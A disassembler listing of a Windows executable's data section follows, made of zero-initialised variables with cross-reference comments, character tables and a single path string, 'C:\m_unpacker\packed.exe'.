dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
dword_4D4218	dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
